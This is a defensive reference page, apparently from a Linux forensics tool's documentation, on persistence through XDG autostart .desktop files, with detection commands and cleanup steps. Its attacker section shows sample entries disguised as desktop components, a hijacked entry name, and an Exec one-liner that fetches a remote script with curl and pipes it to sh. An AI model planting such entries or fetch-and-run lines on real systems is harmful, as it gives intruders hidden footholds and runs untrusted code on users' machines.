Skip to content

At login

XDG Autostart: Linux Persistence via .desktop Files

How .desktop files in /etc/xdg/autostart and ~/.config/autostart start programs at every desktop login, how attackers abuse them, and how to check a host.

MITRE ATT&CK
T1547.013
Tactics
Persistence, Privilege escalation
Runs
At login
Set up by
Users and root
Locations
  • /etc/xdg/autostart/*.desktop
  • ~/.config/autostart/*.desktop

How it works

The freedesktop.org Desktop Application Autostart Specification lets a desktop session start programs when a user logs in graphically. The session reads .desktop files from two places:

  • $XDG_CONFIG_DIRS/autostart, by default /etc/xdg/autostart: system-wide entries, for every user.
  • $XDG_CONFIG_HOME/autostart, by default ~/.config/autostart: the user's own entries.

When both folders contain a file with the same name, the user's file wins. That is how "turn off this startup app" works in desktop settings: the desktop writes a user copy with Hidden=true (GNOME tools use X-GNOME-Autostart-enabled=false) in ~/.config/autostart.

The keys that matter in the [Desktop Entry] group:

KeyEffect
ExecThe command line to run. No shell: environment variables are not expanded unless the command is sh -c "…"
Hidden=trueThe entry is treated as deleted
OnlyShowIn, NotShowInRun only in, or not in, the listed desktops (GNOME;KDE;XFCE;)
TryExecSkip the entry if this program is not found or not executable
X-GNOME-Autostart-enabled=falseGNOME's switch to disable an entry
NoDisplay=trueHides the entry from menus only; it still runs

Who runs it. GNOME and KDE Plasma, when they start through systemd, rely on systemd-xdg-autostart-generator: at login it turns each valid entry into a user unit named app-<name>@autostart.service, so the programs run as systemd user services. XFCE, MATE, LXQt and Cinnamon read the folders with their own session manager.

Execution context. The program runs as the logged-in user, with the session's environment (DISPLAY or WAYLAND_DISPLAY, DBUS_SESSION_BUS_ADDRESS, the keyring and SSH agent sockets). Nothing happens on SSH logins or on servers without a desktop, so the technique matters on workstations, jump hosts with a desktop and VDI images.

Where it lives

PathWhatWho can write it
/etc/xdg/autostart/*.desktopSystem-wide entries, every desktop userroot, packages
Other $XDG_CONFIG_DIRS entries, e.g. /etc/xdg/xdg-ubuntu/autostart/Extra system folders set by the sessionroot
~/.config/autostart/*.desktopPer-user entries, override system ones of the same namethe user, root
/run/user/<uid>/systemd/generator.late/Units generated from the entries at login (systemd sessions)systemd
~/.config/plasma-workspace/env/*.shShell scripts sourced when Plasma startsthe user, root
~/.xprofile, ~/.xsessionrcScripts some display managers and Debian's Xsession run at X loginthe user, root

How attackers use it

A user-level entry needs no privileges at all: write one file in the victim's home and the payload starts at every graphical login. A system-wide entry needs root and runs for every user who logs in.

A per-user entry posing as a desktop component

# ~/.config/autostart/gnome-keyring-update.desktop
[Desktop Entry]
Type=Application
Name=GNOME Keyring Update
Exec=/home/alice/.local/share/.kr/kr-update
NoDisplay=true
X-GNOME-Autostart-enabled=true

Publicly documented examples include CrossRAT, which persisted on Linux through ~/.config/autostart/mediamgrs.desktop.

A one-liner in Exec

No binary on disk at all:

[Desktop Entry]
Type=Application
Name=Tracker Miner Helper
Exec=sh -c "sleep 60; curl -fsSL https://example.com/t.sh | sh"
NoDisplay=true

A system-wide entry for every user

With root, a file in /etc/xdg/autostart with a vendor-like name runs the payload as each user who logs in, and OnlyShowIn keeps it to the desktops in use:

# /etc/xdg/autostart/print-applet.desktop
[Desktop Entry]
Type=Application
Name=Print Queue Applet
Exec=/usr/libexec/print-applet --daemon
OnlyShowIn=GNOME;KDE;XFCE;

Hijacking a known entry

A user file with the same name as a legitimate system entry replaces it. The startup list shows the expected name, while Exec points somewhere else:

# ~/.config/autostart/org.gnome.SettingsDaemon.A11ySettings.desktop
[Desktop Entry]
Type=Application
Name=GNOME Settings Daemon's a11y-settings plugin
Exec=/home/alice/.cache/.gsd/gsd-a11y-settings

How to check a host

On a live host

ls -la --time-style=full-iso /etc/xdg/autostart/ /root/.config/autostart/ /home/*/.config/autostart/ 2>/dev/null
grep -H -E '^(Exec|TryExec|Hidden|OnlyShowIn)=' /etc/xdg/autostart/*.desktop /home/*/.config/autostart/*.desktop 2>/dev/null
ls /etc/xdg/                                   # extra folders such as xdg-ubuntu
dpkg -S /etc/xdg/autostart/*.desktop           # or: rpm -qf /etc/xdg/autostart/*.desktop
dpkg -V 2>/dev/null | grep xdg/autostart       # changed packaged entries

For each Exec, check the program as well: where it lives, who owns it (dpkg -S, rpm -qf), when it appeared. Programs in home folders, dot-folders, /tmp or /dev/shm are the usual tell.

Compare the file names in each ~/.config/autostart with /etc/xdg/autostart: a same-name user file that is not just Hidden=true changes what a known entry runs.

For logged-in users on systemd desktops, the generated units show what actually started this session: ls /run/user/*/systemd/generator.late/, or, as the user, systemctl --user list-units 'app-*@autostart.service' and systemctl --user cat on any unit you do not recognise.

Offline, from a collection

Read both folders from the archive, with modes and times from tar -tvzf. Check system entries against the dpkg database or rpm -qf on a reference system, and pull the programs the Exec lines name from the image. Desktop logins in auth.log or the journal (gdm, lightdm, sddm) tell you when the entry would have fired. The collection command takes /etc/xdg/autostart (inside /etc) and .config/autostart from /root and /home/*; Linux Persistence reads them offline.

What Linux Persistence flags

Every .desktop file with an Exec line in /etc/xdg/autostart or a home folder's .config/autostart becomes one entry, trigger login. The entry shows Name, the account, the Exec command, OnlyShowIn when set, and is marked disabled when Hidden=true or X-GNOME-Autostart-enabled=false. The shared command heuristics run on Exec:

  • Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code.
  • Sets LD_PRELOAD, Turns shell history off, Makes a file immutable, Detaches from the session.
  • Runs from a temporary folder: an Exec path under /tmp, /var/tmp, /dev/shm or /run/user/<uid>.
  • Runs from a hidden folder: a dot-folder that is not one of the usual application folders (~/.local and ~/.config themselves are fine, a dot-folder inside them is not).
  • Embedded encoded blob: a long base64 or hex string.

Package layer and cross-checks:

  • Not installed by any package (medium): an entry in /etc/xdg/autostart that the dpkg database does not list.
  • Differs from package package (low): a packaged entry whose checksum changed. Owned, unchanged entries keep their heuristic hits at info.
  • Changed date (low): changed in the 7 days before the newest file of the collection. Home folders get no package verdict, so for user entries this is the main time signal.
  • program also runs from mechanisms: the program in Exec (an absolute path outside /usr/bin, /usr/sbin, /bin, /sbin) also starts from another mechanism, such as a cron job or a systemd user unit.

Limits: each file is reported on its own; the tool does not resolve which of two same-name entries wins. It does not read the program Exec points to, evaluate TryExec or NotShowIn, or read extra $XDG_CONFIG_DIRS folders, Plasma env scripts or ~/.xprofile. It sees the files, not the units generated from them in a running session.

Cleaning up

  1. Preserve first. Copy the .desktop file and the program it runs with their times (cp -a), hash both, and record stat. If the program is running, save /proc/<pid>/exe and its open connections before stopping it.
  2. Stop and remove. Kill the process (or systemctl --user stop its app-…@autostart.service), delete the entry and the program. For a hijacked name, delete the user's copy so the system entry applies again.
  3. Check the other places: every user's ~/.config/autostart, /etc/xdg/autostart, and the other per-user footholds the same intruder tends to add: shell startup files, systemd user units in ~/.config/systemd/user (see systemd services) and the user's crontab (cron).
  4. Rotate. The payload ran inside the user's desktop session, with access to the keyring, browser profiles and the SSH agent: rotate that user's passwords, tokens and keys.

References

See also

On Linux Forensics

The artifacts behind this technique, in the Linux Forensics reference: